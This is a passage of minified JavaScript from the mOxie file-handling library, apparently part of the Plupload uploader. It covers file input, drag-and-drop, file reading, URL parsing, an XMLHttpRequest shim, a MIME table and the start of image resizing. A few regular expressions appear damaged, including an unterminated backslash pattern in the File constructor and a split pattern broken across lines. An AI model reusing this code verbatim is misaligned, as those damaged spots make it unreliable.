moxie-shim-"+this.type,l.extend(t.style,{position:"absolute",top:"0px",left:"0px",width:"1px",height:"1px",overflow:"hidden"}),e.appendChild(t),e=null),t},getShim:function(){return o},shimExec:function(e,t){var i=[].slice.call(arguments,2);return a.getShim().exec.call(this,this.uid,e,t,i)},exec:function(e,t){var i=[].slice.call(arguments,2);return a[e]&&a[e][t]?a[e][t].apply(this,i):a.shimExec.apply(this,arguments)},destroy:function(){if(a){var e=d.get(this.shimid);e&&e.parentNode.removeChild(e),o&&o.removeAllInstances(),this.unbindAll(),delete p[this.uid],this.uid=null,u=a=o=e=null}}}),this.mode&&e.required_caps&&!this.can(e.required_caps)&&(this.mode=!1)}var n={},p={};return h.order="html5,flash,silverlight,html4",h.getRuntime=function(e){return!!p[e]&&p[e]},h.addConstructor=function(e,t){t.prototype=i.instance,n[e]=t},h.getConstructor=function(e){return n[e]||null},h.getInfo=function(e){var t=h.getRuntime(e);return t?{uid:t.uid,type:t.type,mode:t.mode,can:function(){return t.can.apply(t,arguments)}}:null},h.parseCaps=function(e){var t={};return"string"!==l.typeOf(e)?e||{}:(l.each(e.split(","),function(e){t[e]=!0}),t)},h.can=function(e,t){var i,n,r=h.getConstructor(e);return!!r&&(n=(i=new r({required_caps:t})).mode,i.destroy(),!!n)},h.thatCan=function(e,t){var i=(t||h.order).split(/\s*,\s*/);for(var n in i)if(h.can(i[n],e))return i[n];return null},h.getMode=function(n,e,t){var r=null;if("undefined"===l.typeOf(t)&&(t="browser"),e&&!l.isEmptyObj(n)){if(l.each(e,function(e,t){if(n.hasOwnProperty(t)){var i=n[t](e);if("string"==typeof i&&(i=[i]),r){if(!(r=l.arrayIntersect(r,i)))return r=!1}else r=i}}),r)return-1!==l.inArray(t,r)?t:r[0];if(!1===r)return!1}return t},h.getGlobalEventTarget=function(){if(/^moxie\./.test(t.global_event_dispatcher)&&!t.can("access_global_ns")){var e=l.guid("moxie_event_target_");window[e]=function(e,t){i.instance.dispatchEvent(e,t)},t.global_event_dispatcher=e}return t.global_event_dispatcher},h.capTrue=function(){return!0},h.capFalse=function(){return!1},h.capTest=function(e){return function(){return!!e}},h}),e("moxie/runtime/RuntimeClient",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/Runtime"],function(e,a,t,u){return function(){var s;t.extend(this,{connectRuntime:function(r){var e,o=this;if("string"===t.typeOf(r)?e=r:"string"===t.typeOf(r.ruid)&&(e=r.ruid),e){if(s=u.getRuntime(e))return o.ruid=e,s.clients++,s;throw new a.RuntimeError(a.RuntimeError.NOT_INIT_ERR)}!function e(t){var i,n;return t.length?(i=t.shift().toLowerCase(),(n=u.getConstructor(i))?((s=new n(r)).bind("Init",function(){s.initialized=!0,setTimeout(function(){s.clients++,o.ruid=s.uid,o.trigger("RuntimeInit",s)},1)}),s.bind("Error",function(){s.destroy(),e(t)}),s.bind("Exception",function(e,t){var i=t.name+"(#"+t.code+")"+(t.message?", from: "+t.message:"");o.trigger("RuntimeError",new a.RuntimeError(a.RuntimeError.EXCEPTION_ERR,i))}),s.mode?void s.init():void s.trigger("Error")):void e(t)):(o.trigger("RuntimeError",new a.RuntimeError(a.RuntimeError.NOT_INIT_ERR)),void(s=null))}((r.runtime_order||u.order).split(/\s*,\s*/))},disconnectRuntime:function(){s&&--s.clients<=0&&s.destroy(),s=null},getRuntime:function(){return s&&s.uid?s:s=null},exec:function(){return s?s.exec.apply(this,arguments):null},can:function(e){return!!s&&s.can(e)}})}}),e("moxie/file/Blob",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient"],function(s,i,n){var a={};return function o(e,t){n.call(this),e&&this.connectRuntime(e),t?"string"===s.typeOf(t)&&(t={data:t}):t={},s.extend(this,{uid:t.uid||s.guid("uid_"),ruid:e,size:t.size||0,type:t.type||"",slice:function(e,t,i){return this.isDetached()?function(e,t,i){var n,r=a[this.uid];return"string"===s.typeOf(r)&&r.length?((n=new o(null,{type:i,size:t-e})).detach(r.substr(e,n.size)),n):null}.apply(this,arguments):this.getRuntime().exec.call(this,"Blob","slice",this.getSource(),e,t,i)},getSource:function(){return a[this.uid]?a[this.uid]:null},detach:function(e){if(this.ruid&&(this.getRuntime().exec.call(this,"Blob","destroy"),this.disconnectRuntime(),this.ruid=null),"data:"==(e=e||"").substr(0,5)){var t=e.indexOf(";base64,");this.type=e.substring(5,t),e=i.atob(e.substring(t+8))}this.size=e.length,a[this.uid]=e},isDetached:function(){return!this.ruid&&"string"===s.typeOf(a[this.uid])},destroy:function(){this.detach(),delete a[this.uid]}}),t.data?this.detach(t.data):a[this.uid]=t}}),e("moxie/core/I18n",["moxie/core/utils/Basic"],function(i){var t={};return{addI18n:function(e){return i.extend(t,e)},translate:function(e){return t[e]||e},_:function(e){return this.translate(e)},sprintf:function(e){var t=[].slice.call(arguments,1);return e.replace(/%[a-z]/g,function(){var e=t.shift();return"undefined"!==i.typeOf(e)?e:""})}}}),e("moxie/core/utils/Mime",["moxie/core/utils/Basic","moxie/core/I18n"],function(a,n){var o={},s={},e=function(e){var t,i,n,r=e.split(/,/);for(t=0;t<r.length;t+=2){for(n=r[t+1].split(/ /),i=0;i<n.length;i++)o[n[i]]=r[t];s[r[t]]=n}},r=function(e){var n=[];return a.each(e,function(e){if("*"===(e=e.toLowerCase()))return!(n=[]);var i=e.match(/^(\w+)\/(\*|\w+)$/);i&&("*"===i[2]?a.each(s,function(e,t){new RegExp("^"+i[1]+"/").test(t)&&[].push.apply(n,s[t])}):s[e]&&[].push.apply(n,s[e]))}),n},t=function(e){var t=e&&e.match(/\.([^.]+)$/);return t?t[1].toLowerCase():""};return e("application/msword,doc dot,application/pdf,pdf,application/pgp-signature,pgp,application/postscript,ps ai eps,application/rtf,rtf,application/vnd.ms-excel,xls xlb xlt xla,application/vnd.ms-powerpoint,ppt pps pot ppa,application/zip,zip,application/x-shockwave-flash,swf swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mp3 mpga mpega mp2,audio/x-wav,wav,audio/x-m4a,m4a,audio/ogg,oga ogg,audio/aiff,aiff aif,audio/flac,flac,audio/aac,aac,audio/ac3,ac3,audio/x-ms-wma,wma,image/bmp,bmp,image/gif,gif,image/jpeg,jpg jpeg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe m2v,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/3gpp,3gpp 3gp,video/3gpp2,3g2,video/vnd.rn-realvideo,rv,video/ogg,ogv,video/x-matroska,mkv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe"),{mimes:o,extensions:s,addMimeType:e,extList2mimes:function(e,t){var i,n,r,o,s=[];for(n=0;n<e.length;n++)for(i=e[n].extensions.toLowerCase().split(/\s*,\s*/),r=0;r<i.length;r++){if("*"===i[r])return[];if(o=s[i[r]],t&&/^\w+$/.test(i[r]))s.push("."+i[r]);else if(o&&-1===a.inArray(o,s))s.push(o);else if(!o)return[]}return s},mimes2exts:r,mimes2extList:function(e){var t=[],i=[];return"string"===a.typeOf(e)&&(e=a.trim(e).split(/\s*,\s*/)),i=r(e),t.push({title:n.translate("Files"),extensions:i.length?i.join(","):"*"}),t},getFileExtension:t,getFileMime:function(e){return o[t(e)]||""}}}),e("moxie/file/FileInput",["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/I18n","moxie/runtime/Runtime","moxie/runtime/RuntimeClient"],function(a,e,n,u,r,t,o,c,l){function i(s){var e,t,i;if(-1!==a.inArray(a.typeOf(s),["string","node"])&&(s={browse_button:s}),!(t=u.get(s.browse_button)))throw new r.DOMException(r.DOMException.NOT_FOUND_ERR);i={accept:[{title:o.translate("All Files"),extensions:"*"}],multiple:!1,required_caps:!1,container:t.parentNode||document.body},"string"==typeof(s=a.extend({},i,s)).required_caps&&(s.required_caps=c.parseCaps(s.required_caps)),"string"==typeof s.accept&&(s.accept=n.mimes2extList(s.accept)),(e=u.get(s.container))||(e=document.body),"static"===u.getStyle(e,"position")&&(e.style.position="relative"),e=t=null,l.call(this),a.extend(this,{uid:a.guid("uid_"),ruid:null,shimid:null,files:null,init:function(){var t=this;t.bind("RuntimeInit",function(e,o){t.ruid=o.uid,t.shimid=o.shimid,t.bind("Ready",function(){t.trigger("Refresh")},999),t.bind("Refresh",function(){var e,t,i,n,r;i=u.get(s.browse_button),n=u.get(o.shimid),i&&(e=u.getPos(i,u.get(s.container)),t=u.getSize(i),r=parseInt(u.getStyle(i,"z-index"),10)||0,n&&a.extend(n.style,{top:e.y+"px",left:e.x+"px",width:t.w+"px",height:t.h+"px",zIndex:r+1})),n=i=null}),o.exec.call(t,"FileInput","init",s)}),t.connectRuntime(a.extend({},s,{required_caps:{select_file:!0}}))},getOption:function(e){return s[e]},setOption:function(e,t){if(s.hasOwnProperty(e)){var i=s[e];switch(e){case"accept":"string"==typeof t&&(t=n.mimes2extList(t));break;case"container":case"required_caps":throw new r.FileException(r.FileException.NO_MODIFICATION_ALLOWED_ERR)}s[e]=t,this.exec("FileInput","setOption",e,t),this.trigger("OptionChanged",e,t,i)}},disable:function(e){this.getRuntime()&&this.exec("FileInput","disable","undefined"===a.typeOf(e)||e)},refresh:function(){this.trigger("Refresh")},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileInput","destroy"),this.disconnectRuntime()),"array"===a.typeOf(this.files)&&a.each(this.files,function(e){e.destroy()}),this.files=null,this.unbindAll()}}),this.handleEventProps(d)}var d=["ready","change","cancel","mouseenter","mouseleave","mousedown","mouseup"];return i.prototype=t.instance,i}),e("moxie/file/File",["moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/file/Blob"],function(r,o,s){function e(e,t){var i;if(t||(t={}),s.apply(this,arguments),this.type||(this.type=o.getFileMime(t.name)),t.name)i=(i=t.name.replace(/\/g,"/")).substr(i.lastIndexOf("/")+1);else if(this.type){var n=this.type.split("/")[0];i=r.guid((""!==n?n:"file")+"_"),o.extensions[this.type]&&(i+="."+o.extensions[this.type][0])}r.extend(this,{name:i||r.guid("file_"),relativePath:"",lastModifiedDate:t.lastModified?new Date(t.lastModified):t.lastModifiedDate||(new Date).toLocaleString()})}return e.prototype=s.prototype,e}),e("moxie/file/FileDrop",["moxie/core/I18n","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/core/utils/Env","moxie/file/File","moxie/runtime/RuntimeClient","moxie/core/EventTarget","moxie/core/utils/Mime"],function(t,r,e,o,i,n,s,a,u){function c(i){var e,n=this;"string"==typeof i&&(i={drop_zone:i}),e={accept:[{title:t.translate("All Files"),extensions:"*"}],required_caps:{drag_and_drop:!0}},(i="object"==typeof i?o.extend({},e,i):e).container=r.get(i.drop_zone)||document.body,"static"===r.getStyle(i.container,"position")&&(i.container.style.position="relative"),"string"==typeof i.accept&&(i.accept=u.mimes2extList(i.accept)),s.call(n),o.extend(n,{uid:o.guid("uid_"),ruid:null,files:null,init:function(){n.bind("RuntimeInit",function(e,t){n.ruid=t.uid,t.exec.call(n,"FileDrop","init",i),n.dispatchEvent("ready")}),n.connectRuntime(i)},destroy:function(){var e=this.getRuntime();e&&(e.exec.call(this,"FileDrop","destroy"),this.disconnectRuntime()),this.files=null,this.unbindAll()}}),this.handleEventProps(l)}var l=["ready","dragenter","dragleave","drop","error"];return c.prototype=a.instance,c}),e("moxie/file/FileReader",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/core/Exceptions","moxie/core/EventTarget","moxie/file/Blob","moxie/runtime/RuntimeClient"],function(e,n,r,t,o,i){function s(){function t(e,t){if(this.trigger("loadstart"),this.readyState===s.LOADING)return this.trigger("error",new r.DOMException(r.DOMException.INVALID_STATE_ERR)),void this.trigger("loadend");if(!(t instanceof o))return this.trigger("error",new r.DOMException(r.DOMException.NOT_FOUND_ERR)),void this.trigger("loadend");if(this.result=null,this.readyState=s.LOADING,t.isDetached()){var i=t.getSource();switch(e){case"readAsText":case"readAsBinaryString":this.result=i;break;case"readAsDataURL":this.result="data:"+t.type+";base64,"+n.btoa(i)}this.readyState=s.DONE,this.trigger("load"),this.trigger("loadend")}else this.connectRuntime(t.ruid),this.exec("FileReader","read",e,t)}i.call(this),e.extend(this,{uid:e.guid("uid_"),readyState:s.EMPTY,result:null,error:null,readAsBinaryString:function(e){t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){t.call(this,"readAsDataURL",e)},readAsText:function(e){t.call(this,"readAsText",e)},abort:function(){this.result=null,-1===e.inArray(this.readyState,[s.EMPTY,s.DONE])&&(this.readyState===s.LOADING&&(this.readyState=s.DONE),this.exec("FileReader","abort"),this.trigger("abort"),this.trigger("loadend"))},destroy:function(){this.abort(),this.exec("FileReader","destroy"),this.disconnectRuntime(),this.unbindAll()}}),this.handleEventProps(a),this.bind("Error",function(e,t){this.readyState=s.DONE,this.error=t},999),this.bind("Load",function(){this.readyState=s.DONE},999)}var a=["loadstart","progress","load","abort","error","loadend"];return s.EMPTY=0,s.LOADING=1,s.DONE=2,s.prototype=t.instance,s}),e("moxie/core/utils/Url",["moxie/core/utils/Basic"],function(c){var l=function(e,t){var i,n=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],r=n.length,o={},s=/^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?(\[[\da-fA-F:]+\]|[^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(e||""),a=/^\/\/\w/.test(e);switch(c.typeOf(t)){case"undefined":t=l(document.location.href,!1);break;case"string":t=l(t,!1)}for(;r--;)s[r]&&(o[n[r]]=s[r]);if(i=!a&&!o.scheme,(a||i)&&(o.scheme=t.scheme),i){o.host=t.host,o.port=t.port;var u="";/^[^\/]/.test(o.path)&&(u=t.path,u=/\/[^\/]*\.[^\/]*$/.test(u)?u.replace(/\/[^\/]+$/,"/"):u.replace(/\/?$/,"/")),o.path=u+(o.path||"")}return o.port||(o.port={http:80,https:443}[o.scheme]||80),o.port=parseInt(o.port,10),o.path||(o.path="/"),delete o.source,o};return{parseUrl:l,resolveUrl:function(e){var t="object"==typeof e?e:l(e);return t.scheme+"://"+t.host+(t.port!=={http:80,https:443}[t.scheme]?":"+t.port:"")+t.path+(t.query?t.query:"")},hasSameOrigin:function(e){function t(e){return[e.scheme,e.host,e.port].join("/")}return"string"==typeof e&&(e=l(e)),t(l())===t(e)}}}),e("moxie/runtime/RuntimeTarget",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(e,t,i){function n(){this.uid=e.guid("uid_"),t.call(this),this.destroy=function(){this.disconnectRuntime(),this.unbindAll()}}return n.prototype=i.instance,n}),e("moxie/file/FileReaderSync",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/utils/Encode"],function(e,i,a){return function(){function t(e,t){if(!t.isDetached()){var i=this.connectRuntime(t.ruid).exec.call(this,"FileReaderSync","read",e,t);return this.disconnectRuntime(),i}var n=t.getSource();switch(e){case"readAsBinaryString":return n;case"readAsDataURL":return"data:"+t.type+";base64,"+a.btoa(n);case"readAsText":for(var r="",o=0,s=n.length;o<s;o++)r+=String.fromCharCode(n[o]);return r}}i.call(this),e.extend(this,{uid:e.guid("uid_"),readAsBinaryString:function(e){return t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){return t.call(this,"readAsDataURL",e)},readAsText:function(e){return t.call(this,"readAsText",e)}})}}),e("moxie/xhr/FormData",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/file/Blob"],function(e,s,a){return function(){var r,o=[];s.extend(this,{append:function(i,e){var n=this,t=s.typeOf(e);e instanceof a?r={name:i,value:e}:"array"===t?(i+="[]",s.each(e,function(e){n.append(i,e)})):"object"===t?s.each(e,function(e,t){n.append(i+"["+t+"]",e)}):"null"===t||"undefined"===t||"number"===t&&isNaN(e)?n.append(i,"false"):o.push({name:i,value:e.toString()})},hasBlob:function(){return!!this.getBlob()},getBlob:function(){return r&&r.value||null},getBlobName:function(){return r&&r.name||null},each:function(t){s.each(o,function(e){t(e.value,e.name)}),r&&t(r.value,r.name)},destroy:function(){r=null,o=[]}})}}),e("moxie/xhr/XMLHttpRequest",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/utils/Encode","moxie/core/utils/Url","moxie/runtime/Runtime","moxie/runtime/RuntimeTarget","moxie/file/Blob","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/core/utils/Env","moxie/core/utils/Mime"],function(b,R,e,I,O,A,S,T,t,D,C,N){function L(){this.uid=b.guid("uid_")}function F(){function s(e,t){return r.hasOwnProperty(e)?1===arguments.length?C.can("define_property")?r[e]:n[e]:void(C.can("define_property")?r[e]=t:n[e]=t):void 0}var a,u,c,l,o,i,n=this,r={timeout:0,readyState:F.UNSENT,withCredentials:!1,status:0,statusText:"",responseType:"",responseXML:null,responseText:null,response:null},d=!0,h={},p=null,m=null,f=!1,g=!1,x=!1,v=!1,y=!1,_=!1,E={},w="";b.extend(this,r,{uid:b.guid("uid_"),upload:new L,open:function(e,t,i,n,r){var o;if(!e||!t)throw new R.DOMException(R.DOMException.SYNTAX_ERR);if(/[-]/.test(e)||I.utf8_encode(e)!==e)throw new R.DOMException(R.DOMException.SYNTAX_ERR);if(~b.inArray(e.toUpperCase(),["CONNECT","DELETE","GET","HEAD","OPTIONS","POST","PUT","TRACE","TRACK"])&&(u=e.toUpperCase()),~b.inArray(u,["CONNECT","TRACE","TRACK"]))throw new R.DOMException(R.DOMException.SECURITY_ERR);if(t=I.utf8_encode(t),o=O.parseUrl(t),_=O.hasSameOrigin(o),a=O.resolveUrl(t),(n||r)&&!_)throw new R.DOMException(R.DOMException.INVALID_ACCESS_ERR);if(c=n||o.user,l=r||o.pass,!1===(d=i||!0)&&(s("timeout")||s("withCredentials")||""!==s("responseType")))throw new R.DOMException(R.DOMException.INVALID_ACCESS_ERR);f=!d,g=!1,h={},function(){s("responseText",""),s("responseXML",null),s("response",null),s("status",0),s("statusText","")}.call(this),s("readyState",F.OPENED),this.dispatchEvent("readystatechange")},setRequestHeader:function(e,t){if(s("readyState")!==F.OPENED||g)throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);if(/[-]/.test(e)||I.utf8_encode(e)!==e)throw new R.DOMException(R.DOMException.SYNTAX_ERR);return e=b.trim(e).toLowerCase(),!~b.inArray(e,["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","content-transfer-encoding","date","expect","host","keep-alive","origin","referer","te","trailer","transfer-encoding","upgrade","user-agent","via"])&&!/^(proxy\-|sec\-)/.test(e)&&(h[e]?h[e]+=", "+t:h[e]=t,!0)},hasRequestHeader:function(e){return e&&h[e.toLowerCase()]||!1},getAllResponseHeaders:function(){return w||""},getResponseHeader:function(e){return e=e.toLowerCase(),y||~b.inArray(e,["set-cookie","set-cookie2"])?null:w&&""!==w&&(i||(i={},b.each(w.split(/
/),function(e){var t=e.split(/:\s+/);2===t.length&&(t[0]=b.trim(t[0]),i[t[0].toLowerCase()]={header:t[0],value:b.trim(t[1])})})),i.hasOwnProperty(e))?i[e].header+": "+i[e].value:null},overrideMimeType:function(e){var t;if(~b.inArray(s("readyState"),[F.LOADING,F.DONE]))throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);if(e=b.trim(e.toLowerCase()),/;/.test(e)&&(t=e.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))&&(e=t[1],t[2]&&t[2]),!N.mimes[e])throw new R.DOMException(R.DOMException.SYNTAX_ERR)},send:function(e,t){if(E="string"===b.typeOf(t)?{ruid:t}:t||{},this.readyState!==F.OPENED||g)throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);if(e instanceof T)E.ruid=e.ruid,m=e.type||"application/octet-stream";else if(e instanceof D){if(e.hasBlob()){var i=e.getBlob();E.ruid=i.ruid,m=i.type||"application/octet-stream"}}else"string"==typeof e&&(p="UTF-8",m="text/plain;charset=UTF-8",e=I.utf8_encode(e));this.withCredentials||(this.withCredentials=E.required_caps&&E.required_caps.send_browser_cookies&&!_),x=!f&&this.upload.hasEventListener(),y=!1,v=!e,f||(g=!0),function(e){function i(){o&&(o.destroy(),o=null),r.dispatchEvent("loadend"),r=null}function n(t){o.bind("LoadStart",function(e){s("readyState",F.LOADING),r.dispatchEvent("readystatechange"),r.dispatchEvent(e),x&&r.upload.dispatchEvent(e)}),o.bind("Progress",function(e){s("readyState")!==F.LOADING&&(s("readyState",F.LOADING),r.dispatchEvent("readystatechange")),r.dispatchEvent(e)}),o.bind("UploadProgress",function(e){x&&r.upload.dispatchEvent({type:"progress",lengthComputable:!1,total:e.total,loaded:e.loaded})}),o.bind("Load",function(e){s("readyState",F.DONE),s("status",Number(t.exec.call(o,"XMLHttpRequest","getStatus")||0)),s("statusText",M[s("status")]||""),s("response",t.exec.call(o,"XMLHttpRequest","getResponse",s("responseType"))),~b.inArray(s("responseType"),["text",""])?s("responseText",s("response")):"document"===s("responseType")&&s("responseXML",s("response")),w=t.exec.call(o,"XMLHttpRequest","getAllResponseHeaders"),r.dispatchEvent("readystatechange"),0<s("status")?(x&&r.upload.dispatchEvent(e),r.dispatchEvent(e)):(y=!0,r.dispatchEvent("error")),i()}),o.bind("Abort",function(e){r.dispatchEvent(e),i()}),o.bind("Error",function(e){y=!0,s("readyState",F.DONE),r.dispatchEvent("readystatechange"),v=!0,r.dispatchEvent(e),i()}),t.exec.call(o,"XMLHttpRequest","send",{url:a,method:u,async:d,user:c,password:l,headers:h,mimeType:m,encoding:p,responseType:r.responseType,withCredentials:r.withCredentials,options:E},e)}var r=this;(new Date).getTime(),o=new S,"string"==typeof E.required_caps&&(E.required_caps=A.parseCaps(E.required_caps)),E.required_caps=b.extend({},E.required_caps,{return_response_type:r.responseType}),e instanceof D&&(E.required_caps.send_multipart=!0),b.isEmptyObj(h)||(E.required_caps.send_custom_headers=!0),_||(E.required_caps.do_cors=!0),E.ruid?n(o.connectRuntime(E)):(o.bind("RuntimeInit",function(e,t){n(t)}),o.bind("RuntimeError",function(e,t){r.dispatchEvent("RuntimeError",t)}),o.connectRuntime(E))}.call(this,e)},abort:function(){if(f=!(y=!0),~b.inArray(s("readyState"),[F.UNSENT,F.OPENED,F.DONE]))s("readyState",F.UNSENT);else{if(s("readyState",F.DONE),g=!1,!o)throw new R.DOMException(R.DOMException.INVALID_STATE_ERR);o.getRuntime().exec.call(o,"XMLHttpRequest","abort",v),v=!0}},destroy:function(){o&&("function"===b.typeOf(o.destroy)&&o.destroy(),o=null),this.unbindAll(),this.upload&&(this.upload.unbindAll(),this.upload=null)}}),this.handleEventProps(P.concat(["readystatechange"])),this.upload.handleEventProps(P)}var M={100:"Continue",101:"Switching Protocols",102:"Processing",200:"OK",201:"Created",202:"Accepted",203:"Non-Authoritative Information",204:"No Content",205:"Reset Content",206:"Partial Content",207:"Multi-Status",226:"IM Used",300:"Multiple Choices",301:"Moved Permanently",302:"Found",303:"See Other",304:"Not Modified",305:"Use Proxy",306:"Reserved",307:"Temporary Redirect",400:"Bad Request",401:"Unauthorized",402:"Payment Required",403:"Forbidden",404:"Not Found",405:"Method Not Allowed",406:"Not Acceptable",407:"Proxy Authentication Required",408:"Request Timeout",409:"Conflict",410:"Gone",411:"Length Required",412:"Precondition Failed",413:"Request Entity Too Large",414:"Request-URI Too Long",415:"Unsupported Media Type",416:"Requested Range Not Satisfiable",417:"Expectation Failed",422:"Unprocessable Entity",423:"Locked",424:"Failed Dependency",426:"Upgrade Required",500:"Internal Server Error",501:"Not Implemented",502:"Bad Gateway",503:"Service Unavailable",504:"Gateway Timeout",505:"HTTP Version Not Supported",506:"Variant Also Negotiates",507:"Insufficient Storage",510:"Not Extended"};L.prototype=e.instance;var P=["loadstart","progress","abort","error","load","timeout","loadend"];return F.UNSENT=0,F.OPENED=1,F.HEADERS_RECEIVED=2,F.LOADING=3,F.DONE=4,F.prototype=e.instance,F}),e("moxie/runtime/Transporter",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(h,i,e,t){function p(){function o(){c=l=0,u=this.result=null}function s(e,t){var i=this;r=t,i.bind("TransportingProgress",function(e){(l=e.loaded)<c&&-1===h.inArray(i.state,[p.IDLE,p.DONE])&&n.call(i)},999),i.bind("TransportingComplete",function(){l=c,i.state=p.DONE,u=null,i.result=r.exec.call(i,"Transporter","getAsBlob",e||"")},999),i.state=p.BUSY,i.trigger("TransportingStarted"),n.call(i)}function n(){var e,t=c-l;t<d&&(d=t),e=i.btoa(u.substr(l,d)),r.exec.call(this,"Transporter","receive",e,c)}var a,r,u,c,l,d;e.call(this),h.extend(this,{uid:h.guid("uid_"),state:p.IDLE,result:null,transport:function(e,i,t){var n=this;if(t=h.extend({chunk_size:204798},t),(a=t.chunk_size%3)&&(t.chunk_size+=3-a),d=t.chunk_size,o.call(this),c=(u=e).length,"string"===h.typeOf(t)||t.ruid)s.call(n,i,this.connectRuntime(t));else{var r=function(e,t){n.unbind("RuntimeInit",r),s.call(n,i,t)};this.bind("RuntimeInit",r),this.connectRuntime(t)}},abort:function(){this.state=p.IDLE,r&&(r.exec.call(this,"Transporter","clear"),this.trigger("TransportingAborted")),o.call(this)},destroy:function(){this.unbindAll(),r=null,this.disconnectRuntime(),o.call(this)}})}return p.IDLE=0,p.BUSY=1,p.DONE=2,p.prototype=t.instance,p}),e("moxie/image/Image",["moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/file/FileReaderSync","moxie/xhr/XMLHttpRequest","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/runtime/Transporter","moxie/core/utils/Env","moxie/core/EventTarget","moxie/file/Blob","moxie/file/File","moxie/core/utils/Encode"],function(c,n,l,e,o,s,t,d,h,i,a,u,p){function m(){function r(t,e){function i(e){n.ruid=e.uid,e.exec.call(n,"Image","loadFromBlob",t)}var n=this;n.name=t.name||"",t.isDetached()?(this.bind("RuntimeInit",function(e,t){i(t)}),e&&"string"==typeof e.required_caps&&(e.required_caps=s.parseCaps(e.required_caps)),this.connectRuntime(c.extend({required_caps:{access_image_binary:!0,resize_image:!0}},e))):i(this.connectRuntime(t.ruid))}t.call(this),c.extend(this,{uid:c.guid("uid_"),ruid:null,name:"",size:0,width:0,height:0,type:"",meta:{},clone:function(){this.load.apply(this,arguments)},load:function(){(function e(t){var i=c.typeOf(t);try{if(t instanceof m){if(!t.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);(function(e,t){var i=this.connectRuntime(e.ruid);this.ruid=i.uid,i.exec.call(this,"Image","loadFromImage",e,"undefined"===c.typeOf(t)||t)}).apply(this,arguments)}else if(t instanceof a){if(!~c.inArray(t.type,["image/jpeg","image/png"]))throw new l.ImageError(l.ImageError.WRONG_FORMAT);r.apply(this,arguments)}else if(-1!==c.inArray(i,["blob","file"]))e.call(this,new u(null,t),arguments[1]);else if("string"===i)"data:"===t.substr(0,5)?e.call(this,new a(null,{data:t}),arguments[1]):function(e,t){var i,n=this;(i=new o).open("get",e),i.responseType="blob",i.onprogress=function(e){n.trigger(e)},i.onload=function(){r.call(n,i.response,!0)},i.onerror=function(e){n.trigger(e)},i.onloadend=function(){i.destroy()},i.bind("RuntimeError",function(e,t){n.trigger("RuntimeError",t)}),i.send(null,t)}.apply(this,arguments);else{if("node"!==i||"img"!==t.nodeName.toLowerCase())throw new l.DOMException(l.DOMException.TYPE_MISMATCH_ERR);e.call(this,t.src,arguments[1])}}catch(t){this.trigger("error",t.code)}}).apply(this,arguments)},resize:function(e){var t,i,n=this,r={x:0,y:0,width:n.width,height:n.height},o=c.extendIf({width:n.width,height:n.height,type:n.type||"image/jpeg",quality:90,crop:!1,fit:!0,preserveHeaders:!0,resample:"default",multipass:!0},e);try{if(!n.size)throw new l.DOMException(l.DOMException.INVALID_STATE_ERR);if(n.width>m.MAX_RESIZE_WIDTH||n.height>m.MAX_RESIZE_HEIGHT)throw new l.ImageError(l.ImageError.MAX_RESOLUTION_ERR);if(t=n.meta&&n.meta.tiff&&n.meta.tiff.Orientation||1,-1!==c.inArray(t,[5,6,7,8])){var s=o.width;o.width=o.height,o.height=s}if(o.crop){switch(i=Math.max(o.width/n.width,o.height/n.height),i=e.fit?(r.width=Math.min(Math.ceil(o.width/i),n.width),r.height=Math.min(Math.ceil(o.height/i),n.height),o.width/r.width):(r.width=Math.min(o.width,n.width),r.height=Math.min(o.height,n.height),1),"boolean"==typeof 